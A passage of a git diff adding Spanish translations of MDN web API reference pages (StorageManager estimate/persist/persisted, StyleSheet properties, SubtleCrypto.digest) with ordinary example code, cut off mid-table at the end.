+<p>Todos los navegadores tienen niveles de capacidad variados para localStorage y sessionStorage. Aquí hay un <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">análisis detallado de todas las capacidades de almacenamiento para varios navegadores</a>.</p>
+
+<div class="note">
+<p><strong>Nota: </strong>desde iOS 5.1, Safari Mobile almacena los datos de localStorage en la carpeta de caché, que está sujeta a limpieza ocasional a petición del sistema operativo, típicamente cuando el espacio es reducido.</p>
+</div>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<p><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Usando la Web Storage API</a></p>
diff --git a/files/es/web/api/storagemanager/estimate/index.html b/files/es/web/api/storagemanager/estimate/index.html
new file mode 100644
index 0000000000..b2c0ee4df6
--- /dev/null
+++ b/files/es/web/api/storagemanager/estimate/index.html
@@ -0,0 +1,90 @@
+---
+title: StorageManager.estimate()
+slug: Web/API/StorageManager/estimate
+tags:
+  - API
+  - Almacenamiento
+  - Contexto seguro
+  - Cuota
+  - Referencia
+  - Storage API
+  - StorageManager
+  - Uso
+  - estimación
+  - estimate
+  - metodo
+translation_of: Web/API/StorageManager/estimate
+---
+<p>{{securecontext_header}}{{APIRef("Storage")}}</p>
+
+<p>El método <strong><code>estimate()</code></strong> de la interfaz {{domxref("StorageManager")}} solicita al Gestor de Almacenamiento la información de cuota y uso para el origen actual. Este método opera de forma asíncrona, por lo que devuelve una {{jsxref("Promise")}} que se resuelve una vez que la información esté disponible. La función que controla el cumplimiento de la promesa recibe un {{domxref("StorageEstimate")}} como entrada con la informción de uso y cuota.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>estimatePromise</em> = <em>StorageManager</em>.estimate();</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Una {{jsxref('Promise')}} que se resuelve como un objeto que se ajusta al diccionario {{domxref('StorageEstimate')}}. Este diccionario contiene estimaciones sobre la cantidad de espacio disponible para el origen o aplicación (en {{domxref("StorageEstimate.quota")}}, así como la cantidad que se usa en ese momento (in {{domxref("StorageEstimate.usage")}}). Estos no son números exactos; entre la compresión, la deduplicación y la ofuscación por razones de seguridad, no serán precisos.</p>
+
+<p>Es posible que la <code>quota</code> varíe de una aplicación a otra en función de factores como la frecuencia con la que el usuario la visita, los datos de popularidad del sitio, etc.</p>
+
+<h2 id="Ejemplo" name="Ejemplo">Ejemplo</h2>
+
+<p>En este ejemplo, obtenemos las estimaciones de uso y presentamos el porcentaje de la capacidad de almacenamiento utilizada actualmente al usuario.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  You're currently using about &lt;span id="percent"&gt;
+  &lt;/span&gt;% of your available storage.
+&lt;/p&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">navigator.storage.estimate().then(function(estimate) {
+  document.getElementById("percent").innerHTML =
+      (estimate.usage / estimate.quota).toFixed(2);
+});
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{ EmbedLiveSample('Example', 600, 40) }}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Storage','#dom-storagemanager-estimate','estimate()')}}</td>
+   <td>{{Spec2('Storage')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("api.StorageManager.estimate")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Storage API</li>
+ <li>{{domxref("Storage")}}, el objeto devuelto por {{domxref("Window.localStorage")}}</li>
+ <li>{{domxref("StorageManager")}}</li>
+ <li>{{domxref("navigator.storage")}}</li>
+</ul>
diff --git a/files/es/web/api/storagemanager/index.html b/files/es/web/api/storagemanager/index.html
new file mode 100644
index 0000000000..afc0bd77ad
--- /dev/null
+++ b/files/es/web/api/storagemanager/index.html
@@ -0,0 +1,55 @@
+---
+title: StorageManager
+slug: Web/API/StorageManager
+tags:
+  - API
+  - Interface
+  - NeedsTranslation
+  - Persistence
+  - Quotas
+  - Reference
+  - Secure context
+  - Storage
+  - Storage API
+  - StorageManager
+  - TopicStub
+  - Usage
+translation_of: Web/API/StorageManager
+---
+<p>{{securecontext_header}}{{SeeCompatTable}}{{APIRef("Storage")}}</p>
+
+<p>The <strong><code>StorageManager</code></strong> interface of the the <a href="/en-US/docs/Web/API/Storage_API">Storage API</a> provides an interface for managing persistance permissions and estimating available storage. You can get a reference to this interface using either {{domxref("navigator.storage")}} or {{domxref("WorkerNavigator.storage")}}.</p>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+	<dt>{{domxref("StorageManager.estimate()")}} {{securecontext_inline}}</dt>
+	<dd>Returns a {{domxref("StorageEstimate")}} object containing usage and quota numbers for your origin.</dd>
+	<dt>{{domxref("StorageManager.persist()")}} {{securecontext_inline}}</dt>
+	<dd>Returns a {{jsxref('Promise')}} that resolves to <code>true</code> if the user agent is able to persist your site's storage.</dd>
+	<dt>{{domxref("StorageManager.persisted()")}} {{securecontext_inline}}</dt>
+	<dd>Returns a {{jsxref('Promise')}} that resolves to <code>true</code> if persistence has already been granted for your site's storage.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+	<tbody>
+		<tr>
+			<th scope="col">Specification</th>
+			<th scope="col">Status</th>
+			<th scope="col">Comment</th>
+		</tr>
+		<tr>
+			<td>{{SpecName('Storage','#storagemanager','StorageManger')}}</td>
+			<td>{{Spec2('Storage')}}</td>
+			<td>Initial definition.</td>
+		</tr>
+	</tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.StorageManager")}}</p>
diff --git a/files/es/web/api/storagemanager/persist/index.html b/files/es/web/api/storagemanager/persist/index.html
new file mode 100644
index 0000000000..bb42fbeac4
--- /dev/null
+++ b/files/es/web/api/storagemanager/persist/index.html
@@ -0,0 +1,59 @@
+---
+title: StorageManager.persist()
+slug: Web/API/StorageManager/persist
+tags:
+  - Contexto seguro
+  - Referencia
+  - Storage API
+  - metodo
+  - persist()
+translation_of: Web/API/StorageManager/persist
+---
+<p>{{securecontext_header}}{{APIRef("Storage")}}{{SeeCompatTable}}</p>
+
+<p><span class="seoSummary">El método <strong><code>persist()</code></strong> de la interfaz {{domxref("StorageManager")}} solicita permiso para usar el almacenamiento persistente, y devuelve una {{jsxref('Promise')}} que se resuelve como <code>true</code> si se concede el permiso y <em>box mode</em> es persistente, y <code>false</code> en cualquier otro caso.</span></p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">navigator.storage.persist().then(function(persistent) { ... })</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Una {{jsxref('Promise')}} que se resuelve en un {{jsxref('Boolean')}}.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js">if (navigator.storage &amp;&amp; navigator.storage.persist)
+  navigator.storage.persist().then(function(persistent) {
+    if (persistent)
+      console.log("Storage will not be cleared except by explicit user action");
+    else
+      console.log("Storage may be cleared by the UA under storage pressure.");
+  });</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Storage','#dom-storagemanager-persist','persist')}}</td>
+   <td>{{Spec2('Storage')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("api.StorageManager.persist")}}</p>
diff --git a/files/es/web/api/storagemanager/persisted/index.html b/files/es/web/api/storagemanager/persisted/index.html
new file mode 100644
index 0000000000..bce6970649
--- /dev/null
+++ b/files/es/web/api/storagemanager/persisted/index.html
@@ -0,0 +1,59 @@
+---
+title: StorageManager.persisted()
+slug: Web/API/StorageManager/persisted
+tags:
+  - Contexto seguro
+  - Referencia
+  - Storage API
+  - metodo
+  - persisted()
+translation_of: Web/API/StorageManager/persisted
+---
+<p>{{securecontext_header}}{{APIRef("Storage")}}{{SeeCompatTable}}</p>
+
+<p><span class="seoSummary">La propiedad <strong><code>persisted</code></strong> de la interfaz {{domxref("StorageManager")}} devuelve una {{jsxref('Promise')}} que se resuelve como <code>true</code> si <em>box mode</em> es</span> persistente <span class="seoSummary">para el alamacenamiento de su sitio.</span></p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">navigator.storage.persisted().then(function(persistent) { ... })</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Devuelve">Devuelve</h3>
+
+<p>Una {{jsxref('Promise')}} que se resuelve como {{jsxref('Boolean')}}.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js"><code>if (navigator.storage &amp;&amp; navigator.storage.persist)
+  navigator.storage.persisted().then(function(persistent) {
+    if (persistent)
+      console.log("Storage will not be cleared except by explicit user action");
+    else
+      console.log("Storage may be cleared by the UA under storage pressure.");
+  });</code></pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Storage','#dom-storagemanager-persisted','persisted')}}</td>
+   <td>{{Spec2('Storage')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("api.StorageManager.persisted")}}</p>
diff --git a/files/es/web/api/stylesheet/disabled/index.html b/files/es/web/api/stylesheet/disabled/index.html
new file mode 100644
index 0000000000..470283c9dc
--- /dev/null
+++ b/files/es/web/api/stylesheet/disabled/index.html
@@ -0,0 +1,20 @@
+---
+title: Stylesheet.disabled
+slug: Web/API/StyleSheet/disabled
+translation_of: Web/API/StyleSheet/disabled
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Summary" name="Summary">Resumen</h3>
+<p>Esta propiedad indica si es se aplica o no, la hoja de estilo actual.</p>
+<h3 id="Syntax" name="Syntax">Sintaxis</h3>
+<pre class="eval"><em>bool</em> = stylesheet.disabled
+</pre>
+<h3 id="Example" name="Example">Ejemplo</h3>
+<pre>// si la hoja de estilo está deshabilitada...
+if (stylesheet.disabled) {
+   // apply style in-line
+}
+</pre>
+<h3 id="Specification" name="Specification">Especificación</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Style-20001113/stylesheets.html#StyleSheets-StyleSheet-disabled">disabled </a></p>
+<p>{{ languages( { "pl": "pl/DOM/stylesheet.disabled" } ) }}</p>
diff --git a/files/es/web/api/stylesheet/href/index.html b/files/es/web/api/stylesheet/href/index.html
new file mode 100644
index 0000000000..0f4a42dd0c
--- /dev/null
+++ b/files/es/web/api/stylesheet/href/index.html
@@ -0,0 +1,38 @@
+---
+title: stylesheet.href
+slug: Web/API/StyleSheet/href
+translation_of: Web/API/StyleSheet/href
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Summary" name="Summary">Resumen</h3>
+<p>Devuelve la localización de la hoja de estilo.</p>
+<h3 id="Syntax" name="Syntax">Sintaxis</h3>
+<pre class="eval"><em>uri</em> = stylesheet.href
+</pre>
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+<ul>
+ <li><code>uri</code> es una cadena que contiene la URI de la hoja de estilo.</li>
+</ul>
+<h3 id="Example" name="Example">Ejemplo</h3>
+<pre> // en una máquina local:
+ &lt;html&gt;
+  &lt;head&gt;
+   &lt;link rel="StyleSheet" href="example.css" type="text/css" /&gt;
+   &lt;script&gt;
+    function sref() {
+     alert(document.styleSheets[0].href);
+    }
+   &lt;/script&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+   &lt;div class="thunder"&gt;Thunder&lt;/div&gt;
+   &lt;button onclick="sref()"&gt;ss&lt;/button&gt;
+  &lt;/body&gt;
+ &lt;/html&gt;
+// returns "file:////C:/Windows/Desktop/example.css
+</pre>
+<h3 id="Notes" name="Notes">Notas</h3>
+<p>Si la hoja de estilo es un enlace, el valor de este atributo es su localización. Para las hojas de estilo in-line, el valor del atributo es NULL.</p>
+<p> </p>
+<h3 id="Specification" name="Specification">Specification</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Style-20001113/stylesheets.html#StyleSheets-StyleSheet-href">href </a></p>
diff --git a/files/es/web/api/stylesheet/index.html b/files/es/web/api/stylesheet/index.html
new file mode 100644
index 0000000000..3344780e21
--- /dev/null
+++ b/files/es/web/api/stylesheet/index.html
@@ -0,0 +1,50 @@
+---
+title: objeto Stylesheet
+slug: Web/API/StyleSheet
+translation_of: Web/API/StyleSheet
+---
+<p>{{ ApiRef("CSSOM") }}</p>
+
+<p>Esta sección describe el objeto <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSStyleSheet">CSSStyleSheet</a>, que representa una única hoja de estilos CSS.</p>
+
+<p>Una hoja de estilos CSS consiste en reglas CSS que pueden, cada una de ellas, ser manipuladas a través del objeto <a href="/Es/DOM/CssRule" title="es/DOM/cssRule">CSSRule</a>. El objeto de la hoja de estilo en sí mismo, te permite examinar y modificar la hoja de estilos, incluyendo su lista de reglas.</p>
+
+<p>Puedes tomar la lista de estilos de un documento determinado mediante el uso de la propiedad <a href="/es/DOM/document.styleSheets" title="es/DOM/document.styleSheets">document.styleSheets</a>.</p>
+
+<h3 id="Properties" name="Properties">Propiedades</h3>
+
+<dl>
+ <dt><a href="/Es/DOM/Stylesheet.cssRules" title="es/DOM/stylesheet.cssRules">stylesheet.cssRules</a></dt>
+ <dd>Devuelve todas las reglas CSS que hay en la hoja de estilo, en forma de arreglo.</dd>
+ <dt><a href="/es/DOM/stylesheet.disabled" title="es/DOM/stylesheet.disabled">stylesheet.disabled</a></dt>
+ <dd>Esta propiedad indica si se ha aplicado o no, la hoja de estilo actual.</dd>
+ <dt><a href="/es/DOM/stylesheet.href" title="es/DOM/stylesheet.href">stylesheet.href</a></dt>
+ <dd>Devuelve la localización de la hoja de estilo.</dd>
+ <dt><a href="/es/DOM/stylesheet.media" title="es/DOM/stylesheet.media">stylesheet.media</a></dt>
+ <dd>Especifica el medio al que se tiene intención de aplicar la hoja de estilo.</dd>
+ <dt><a href="/es/DOM/stylesheet.ownerNode" title="es/DOM/stylesheet.ownerNode">stylesheet.ownerNode</a></dt>
+ <dd>el nodo que asocia la hoja de estilo con el documento.</dd>
+ <dt><a href="/es/DOM/stylesheet.ownerRule" title="es/DOM/stylesheet.ownerRule">stylesheet.ownerRule</a></dt>
+ <dd>Si la hoja de estilo tiene una regla marcada con @import, la propiedad ownerRule contendrá la CSSImportRule.</dd>
+ <dt><a href="/es/DOM/stylesheet.parentStyleSheet" title="es/DOM/stylesheet.parentStyleSheet">stylesheet.parentStyleSheet</a></dt>
+ <dd>Devuelve la hoja de estilo que que está incluida en esta, si existe.</dd>
+ <dt><a href="/es/DOM/stylesheet.title" title="es/DOM/stylesheet.title">stylesheet.title</a></dt>
+ <dd>Devuelve el título de la hoja de estilo actual.</dd>
+ <dt><a href="/es/DOM/stylesheet.type" title="es/DOM/stylesheet.type">stylesheet.type</a></dt>
+ <dd>Especifica el lenguaje de la hoja de estilo.</dd>
+</dl>
+
+<h3 id="Methods" name="Methods">Métodos</h3>
+
+<dl>
+ <dt><a href="/es/DOM/stylesheet.deleteRule" title="es/DOM/stylesheet.deleteRule">stylesheet.deleteRule</a></dt>
+ <dd>Elimina una regla de la hoja de estilo.</dd>
+ <dt><a href="/es/DOM/stylesheet.insertRule" title="es/DOM/stylesheet.insertRule">stylesheet.insertRule</a></dt>
+ <dd>Agrega una nueva regla de estilo a la hoja de estilo actualmente usada.</dd>
+</dl>
+
+<h3 id="Specification" name="Specification">Especificación</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/stylesheets.html#StyleSheets-StyleSheet">DOM Level 2 Style Sheets: StyleSheet</a></p>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSStyleSheet">DOM Level 2 CSS: CSSStyleSheet</a></p>
diff --git a/files/es/web/api/stylesheet/media/index.html b/files/es/web/api/stylesheet/media/index.html
new file mode 100644
index 0000000000..47e36011cd
--- /dev/null
+++ b/files/es/web/api/stylesheet/media/index.html
@@ -0,0 +1,24 @@
+---
+title: Stylesheet.media
+slug: Web/API/StyleSheet/media
+translation_of: Web/API/StyleSheet/media
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Summary" name="Summary">Resumen</h3>
+<p><strong>media</strong> Especifica el medio al que se tiene intención de aplicar la hoja de estilo.</p>
+<h3 id="Syntax" name="Syntax">Sintaxis</h3>
+<pre class="eval"><em>medium</em> = stylesheet.media
+stylesheet.media = <em>medium</em>
+</pre>
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+<ul>
+ <li><code>medium</code> es una cadena que describe un medio único o una lista de valores separados por comas.</li>
+</ul>
+<h3 id="Example" name="Example">Ejemplo</h3>
+<pre>&lt;link rel="StyleSheet" href="document.css" type="text/css" media="screen" /&gt;
+</pre>
+<h3 id="Notes" name="Notes">Notas</h3>
+<p>El valor por defecto para media es "screen."</p>
+<h3 id="Specification" name="Specification">Especificación</h3>
+<p>DOM Level 2 Styles - STYLESHEET</p>
+<p>{{ languages( { "pl": "pl/DOM/stylesheet.media" } ) }}</p>
diff --git a/files/es/web/api/stylesheet/ownernode/index.html b/files/es/web/api/stylesheet/ownernode/index.html
new file mode 100644
index 0000000000..e7a14fb528
--- /dev/null
+++ b/files/es/web/api/stylesheet/ownernode/index.html
@@ -0,0 +1,35 @@
+---
+title: Stylesheet.ownerNode
+slug: Web/API/StyleSheet/ownerNode
+translation_of: Web/API/StyleSheet/ownerNode
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Summary" name="Summary">Resumen</h3>
+<p><strong>ownerNode</strong> devuelve el nodo que asocia la hoja de estilo con el documento.</p>
+<h3 id="Syntax" name="Syntax">Sintaxis</h3>
+<pre class="eval"><em>objRef</em> = stylesheet.ownerNode
+</pre>
+<h3 id="Example" name="Example">Ejemplo</h3>
+<pre class="eval">&lt;html&gt;
+ &lt;head&gt;
+  &lt;link rel="StyleSheet" href="example.css" type="text/css" /&gt;
+  &lt;script&gt;
+   function stilo() {
+    alert(document.styleSheets[0].ownerNode);
+   }
+  &lt;/script&gt;
+ &lt;/head&gt;
+ &lt;body&gt;
+</pre>
+<div class="thunder">
+ Thunder</div>
+<pre class="eval">  &lt;button onclick="stilo()"&gt;ss&lt;/button&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+// displays "object HTMLLinkElement"
+</pre>
+<h3 id="Notes" name="Notes">Notas</h3>
+<p>Para el HTML, <strong>ownerNode</strong> correspondería a un elemento <a href="/es/LINK" title="es/LINK">LINK</a> o <a href="/Es/DOM/Element.style" title="es/DOM/element.style">STYLE</a>. Para XML, serían las instrucciones del proceso de enlace. Para las hojas de estilo que están incluidas en otras hojas de estilo, este valor es NULL.</p>
+<h3 id="Specification" name="Specification">Especificación</h3>
+<p>DOM Level 2 Styles - STYLESHEET</p>
+<p>{{ languages( { "pl": "pl/DOM/stylesheet.ownerNode" } ) }}</p>
diff --git a/files/es/web/api/stylesheet/parentstylesheet/index.html b/files/es/web/api/stylesheet/parentstylesheet/index.html
new file mode 100644
index 0000000000..118aedd82a
--- /dev/null
+++ b/files/es/web/api/stylesheet/parentstylesheet/index.html
@@ -0,0 +1,24 @@
+---
+title: Stylesheet.parentStyleSheet
+slug: Web/API/StyleSheet/parentStyleSheet
+translation_of: Web/API/StyleSheet/parentStyleSheet
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Summary" name="Summary">Resumen</h3>
+<p>Devuelve la hoja de estilo que incluye a la que está en curso, si existe.</p>
+<h3 id="Syntax" name="Syntax">Sintaxis</h3>
+<pre class="eval"><em>objRef</em> = stylesheet.parentStyleSheet
+</pre>
+<h3 id="Example" name="Example">Ejemplo</h3>
+<pre class="eval">// encuentra la hoja de estilo de alto nivel
+if (stylesheet.parentStyleSheet) {
+  sheet = stylesheet.parentStyleSheet;
+}
+else
+{ sheet = stylesheet; }
+</pre>
+<h3 id="Notes" name="Notes">Notas</h3>
+<p>Esta propiedad devuelve NULL si la hoja de estilo actual es una hoja de estilo de alto nivel o si la inclusión de hojas de estilo no está implementada.</p>
+<h3 id="Specification" name="Specification">Specification</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Style-20001113/stylesheets.html#StyleSheets-StyleSheet-parentStyleSheet">parentStyleSheet </a></p>
+<p>{{ languages( { "pl": "pl/DOM/stylesheet.parentStyleSheet" } ) }}</p>
diff --git a/files/es/web/api/stylesheet/title/index.html b/files/es/web/api/stylesheet/title/index.html
new file mode 100644
index 0000000000..e6c61082d7
--- /dev/null
+++ b/files/es/web/api/stylesheet/title/index.html
@@ -0,0 +1,13 @@
+---
+title: Stylesheet.title
+slug: Web/API/StyleSheet/title
+translation_of: Web/API/StyleSheet/title
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Summary" name="Summary">Resumen</h3>
+<p><strong>title</strong> devuelve el título de la hoja de estilo que se está usando.</p>
+<h3 id="Notes" name="Notes">Notas</h3>
+<p>El título es a menudo especificado en el <a href="/es/DOM/stylesheet.ownerNode" title="es/DOM/stylesheet.ownerNode">ownerNode</a>.</p>
+<h3 id="Specification" name="Specification">Especificación</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Style-20001113/stylesheets.html#StyleSheets-StyleSheet-title">title </a></p>
+<p>{{ languages( { "pl": "pl/DOM/stylesheet.title" } ) }}</p>
diff --git a/files/es/web/api/stylesheet/type/index.html b/files/es/web/api/stylesheet/type/index.html
new file mode 100644
index 0000000000..fa60372cc0
--- /dev/null
+++ b/files/es/web/api/stylesheet/type/index.html
@@ -0,0 +1,17 @@
+---
+title: Stylesheet.type
+slug: Web/API/StyleSheet/type
+translation_of: Web/API/StyleSheet/type
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Summary" name="Summary">Resumen</h3>
+<p>type especifica el lenguaje de la hoja de estilo.</p>
+<h3 id="Syntax" name="Syntax">Sintaxis</h3>
+<pre class="eval"><em>string</em> = stylesheet.type
+</pre>
+<h3 id="Example" name="Example">Ejemplo</h3>
+<pre> ss.type = "text/css";
+</pre>
+<h3 id="Specification" name="Specification">Especificación</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Style-20001113/stylesheets.html#StyleSheets-StyleSheet-type">type </a></p>
+<p>{{ languages( { "pl": "pl/DOM/stylesheet.type" } ) }}</p>
diff --git a/files/es/web/api/subtlecrypto/digest/index.html b/files/es/web/api/subtlecrypto/digest/index.html
new file mode 100644
index 0000000000..48669844b6
--- /dev/null
+++ b/files/es/web/api/subtlecrypto/digest/index.html
@@ -0,0 +1,135 @@
+---
+title: SubtleCrypto.digest()
+slug: Web/API/SubtleCrypto/digest
+translation_of: Web/API/SubtleCrypto/digest
+---
+<div>{{APIRef("Web Crypto API")}}</div>
+
+<p>El método <code><strong>digest()</strong></code> de la interfaz {{domxref("SubtleCrypto")}} genera un digest de los datos proveidos. Un {{domxref("digest")}} es un valor corto de longitud fija derivado de alguna entrada de longitud variable. Los digest criptográficos deben mostrar resistencia a colisiones, lo que significa que es difícil encontrar dos entradas diferentes que tengan el mismo valor de digest.</p>
+
+<p>Toma como argumento un identificador para el algoritmo digest a utilizar y los datos a codificar. Devuelve un <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" title="The Promise object represents the eventual completion (or failure) of an asynchronous operation, and its resulting value."><code>Promise</code></a> que se completará con el digest.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">const digest = <em>crypto</em><code>.subtle.digest(<em>algorithm</em>, <em>data</em>)</code>;
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<ul>
+ <li><em><code>algorithm</code></em> es un {{domxref("DOMString")}} definiendo la función hash a utilizar. Los valores admitidos son:
+
+  <ul>
+   <li><code>SHA-1</code> (pero no debe utilizarse en aplicaciones criptográficas)</li>
+   <li><code>SHA-256</code></li>
+   <li><code>SHA-384</code></li>
+   <li><code>SHA-512</code></li>
+  </ul>
+ </li>
+ <li><em><code>data</code></em> es un {{jsxref("ArrayBuffer")}} o {{domxref("ArrayBufferView")}} que contiene los datos a ser digitalizados.</li>
+</ul>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<ul>
+ <li><code><em>digest</em></code> es un <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" title="The Promise object represents the eventual completion (or failure) of an asynchronous operation, and its resulting value."><code>Promise</code></a> que se completa con un <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" title="The ArrayBuffer object is used to represent a generic, fixed-length raw binary data buffer. You cannot directly manipulate the contents of an ArrayBuffer; instead, you create one of the typed array objects or a DataView object which represents the buffer in a specific format, and use that to read and write the contents of the buffer."><code>ArrayBuffer</code></a> conteniendo el digest.</li>
+</ul>
+
+<h2 id="Algoritmos_soportados">Algoritmos soportados</h2>
+
+<p>Los argoritmos digest, también conocidos como <a href="/en-US/docs/Glossary/Cryptographic_hash_function">funciones criptográficas hash</a>, transforman un bloque de datos arbitrariamente grande en una salida de tamaño fijo, normalmente mucho más corta que la entrada. Tienen una variedad de aplicaciones en criptografía.</p>
+
+<h3 id="SHA-1">SHA-1</h3>
+
+<p>Este algoritmo se especifica en <a href="https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf">FIPS 180-4</a>, sección 6.1, y produce una salida de 160 bits de largo.</p>
+
+<div class="blockIndicator warning">
+<p><strong>Advertencia</strong>: Este algoritmo se considera ahora vulnerable y no debe utilizarse para aplicaciones criptográficas.</p>
+</div>
+
+<h3 id="SHA-256">SHA-256</h3>
+
+<p>Este algoritmo se especifica en <a href="https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf">FIPS 180-4</a>, sección 6.2, y produce una salida de 256 bits de largo.</p>
+
+<h3 id="SHA-384">SHA-384</h3>
+
+<p>Este algoritmo se especifica en <a href="https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf">FIPS 180-4</a>, sección 6.5, y produce una salida de 384 bits de largo.</p>
+
+<h3 id="SHA-512">SHA-512</h3>
+
+<p>Este algoritmo se especifica en <a href="https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf">FIPS 180-4</a>, sección 6.4, y produce una salida de 512 bits de largo.</p>
+
+<div class="blockIndicator note">
+<p>Sugerencia: Si estás buscando aquí cómo crear un código de autenticación de mensajes "keyed-hash" (<a href="/en-US/docs/Glossary/HMAC">HMAC</a>), necesitas usar <a href="/en-US/docs/Web/API/SubtleCrypto/sign#HMAC">SubtleCrypto.sign()</a> en su lugar.</p>
+</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo_básico">Ejemplo básico</h3>
+
+<p>Este ejemplo codifica un mensaje, luego calcula su digest SHA-256 y muestra la longitud del mismo:</p>
+
+<pre class="brush: js">const text = 'An obscure body in the S-K System, your majesty. The inhabitants refer to it as the planet Earth.';
+
+async function digestMessage(message) {
+  const encoder = new TextEncoder();
+  const data = encoder.encode(message);
+  const hash = await crypto.subtle.digest('SHA-256', data);
+  return hash;
+}
+
+const digestBuffer = await digestMessage(text);
+console.log(digestBuffer.byteLength);
+</pre>
+
+<h3 id="Convirtiendo_un_digest_a_una_cadena_hexadecimal">Convirtiendo un digest a una cadena hexadecimal</h3>
+
+<p>El resumen se devuelve como un <code>ArrayBuffer</code>, pero para la comparación y visualización los digests se representan a menudo como cadenas hexadecimales. Este ejemplo calcula un digest, y luego convierte el <code>ArrayBuffer</code> a un string hexadecimal:</p>
+
+<pre class="brush: js">const text = 'An obscure body in the S-K System, your majesty. The inhabitants refer to it as the planet Earth.';
+
+async function digestMessage(message) {
+  const msgUint8 = new TextEncoder().encode(message);                           // encode as (utf-8) Uint8Array
+  const hashBuffer = await crypto.subtle.digest('SHA-256', msgUint8);           // hash the message
+  const hashArray = Array.from(new Uint8Array(hashBuffer));                     // convert buffer to byte array
+  const hashHex = hashArray.map(b =&gt; b.toString(16).padStart(2, '0')).join(''); // convert bytes to hex string
+  return hashHex;
+}
+
+const digestHex = await digestMessage(text);
+console.log(digestHex);
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
